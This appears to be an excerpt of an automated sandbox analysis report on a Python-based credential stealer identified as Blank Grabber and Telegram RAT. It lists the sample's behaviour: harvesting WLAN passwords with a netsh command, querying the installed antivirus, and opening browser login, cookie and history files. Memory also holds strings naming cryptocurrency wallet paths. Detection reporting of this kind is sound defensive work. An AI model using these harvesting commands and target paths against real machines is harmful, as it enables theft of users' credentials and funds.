Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Code function: 0_2_00007FF7B10FC590 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7B10FC590

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Code function: 0_2_00007FF7B1116950 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF7B1116950

Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe

Code function: 72_2_00007FF71D2F48CC GetModuleFileNameW,GetVersionExW,LoadLibraryW,LoadLibraryW,

72_2_00007FF71D2F48CC

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000002.00000003.1760965599.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1762531034.00000161970DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1757718097.000001619762A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1329466434.00000162E122B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1759071926.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1765429469.00000161970E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1329466434.00000162E1229000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7656, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI76002\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7656, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: com.liberty.jaxx
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: ereum\keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\c7615543-0de7-4eea-9862-59688b7f430d	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
